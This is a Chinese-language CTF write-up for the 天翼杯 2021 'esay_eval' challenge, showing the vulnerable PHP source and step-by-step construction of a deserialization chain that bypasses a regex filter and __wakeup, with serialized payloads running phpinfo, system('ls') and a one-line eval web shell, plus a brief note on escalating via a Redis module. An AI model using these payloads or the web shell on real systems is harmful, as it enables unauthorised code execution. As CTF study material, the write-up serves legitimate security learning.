[天翼杯 2021]esay_eval - RCE(disabled_function绕过||AS_Redis绕过)+反序列化(大小写&wakeup绕过)

[天翼杯 2021]esay_eval

  • [1 解题流程](#1 解题流程)
    • [1.1 分析](#1.1 分析)
    • [1.2 解题](#1.2 解题)
      • [1.2.1 一阶段](#1.2.1 一阶段)
      • [1.2.2 二阶段](#1.2.2 二阶段)
  • 二、思考总结

题目代码:

php 复制代码
<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }
}else{
    highlight_file(__FILE__);
} 

1 解题流程

1.1 分析

1、看代码,有unserialize函数,说明要反序列化

2、有 eval($this->code) ,说明要RCE

3、有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);,说明要绕过waf

4、A的wakeup里面会把code置空,所以要绕过

起点:B(destruct)  终点:A(call)

链条:B(destruct::a=$a)-> A(call::code=命令)

1.2 解题

1.2.1 一阶段

  1. 构造序列化代码(根据waf,传输的内容不能带有大写AB,所以把代码都用小写ab表示)

    php 复制代码
    <?php
    class a{
        public $code = "phpinfo();";
    }
    class b{
        function __destruct(){
            echo $this->a->a();
        }
    }
    $a = new a();
    $b = new b();
    $b->a = $a;
    echo serialize($b);

    得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

  2. 绕过wakeup

    得到:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

  3. 传参得到

  4. 构造序列化代码(输出flag)

    php 复制代码
    	<?php
    	class a{
    	    public $code = "system('ls');";
    	}
    	class b{
    	    function __destruct(){
    	        echo $this->a->a();
    	    }
    	}
    	$a = new a();
    	$b = new b();
    	$b->a = $a;
    	echo serialize($b);
    	
    	得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}
    	改为:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}

    发现页面无法执行,说明肯定有限制了,不然不会不输出

  5. 查看disable_function

    原来是这里限制了,那么需要改变战略,直接上传个一句话试试

  6. 构造序列化代码(一句话)

    php 复制代码
    	<?php
    	class a{
    	    //public $code = '<?php @eval($_POST["pwd"]) ?>';
    	    public $code = '@eval($_POST["pwd"]);';
    	}
    	class b{
    	    function __destruct(){
    	        echo $this->a->a();
    	    }
    	}
    	$a = new a();
    	$b = new b();
    	$b->a = $a;
    	echo serialize($b);
    	
    	得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:21:"@eval($_POST["pwd"]);";}}
    	改为:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:21:"@eval($_POST["pwd"]);";}}

    蚁剑成功连接

1.2.2 二阶段

这里有两种不同的解法:

  1. disabled_function绕过
  2. AS_Redis绕过
    连接后查看config.php.swp,密码you_cannot_guess_it,同时上传exp.so
    使用redis插件连接,执行命令即可

二、思考总结

这道题目有个很有意思的地方,eval执行命令为什么不能显示?这个问题一开始给我搞蒙圈了,知道phpinfo可以执行的时候,突然想到我们不当当可以把phpinfo当做测试命令去看有没有回显,更可以去看phpinfo里面的配置,查看配置很可能就是解题的关键!

相关推荐
007php0078 分钟前
百度面试题解析:微服务架构、Dubbo、Redis及其一致性问题(一)
redis·百度·docker·微服务·容器·职场和发展·架构
长安城没有风1 小时前
从入门到精通【Redis】Redis 典型应⽤ --- 分布式锁
数据库·redis·分布式
jieyu11191 小时前
第一届贵州理工校赛--ez-upload&&ez-upload-plus
ctf
爬山算法4 小时前
Redis(69)Redis分布式锁的优点和缺点是什么?
数据库·redis·分布式
2401_837088506 小时前
Redis通用命令
数据库·redis·缓存
zl9798996 小时前
Redis-缓存问题(穿透、击穿、雪崩)
redis
骥龙8 小时前
2.8、权限的终极目标:提权与持久化
安全·网络安全
SuperherRo9 小时前
JS逆向-安全辅助项目&Yakit热加载&魔术方法&模版插件语法&JSRpc进阶调用&接口联动
javascript·安全·yakit·jsrpc·热加载
梵得儿SHI10 小时前
Java 反射机制深度剖析:性能与安全性的那些坑
java·开发语言·安全·反射·动态代理·性能·反射机制
来旺11 小时前
互联网大厂Java面试全解析及三轮问答专项
java·数据库·spring boot·安全·缓存·微服务·面试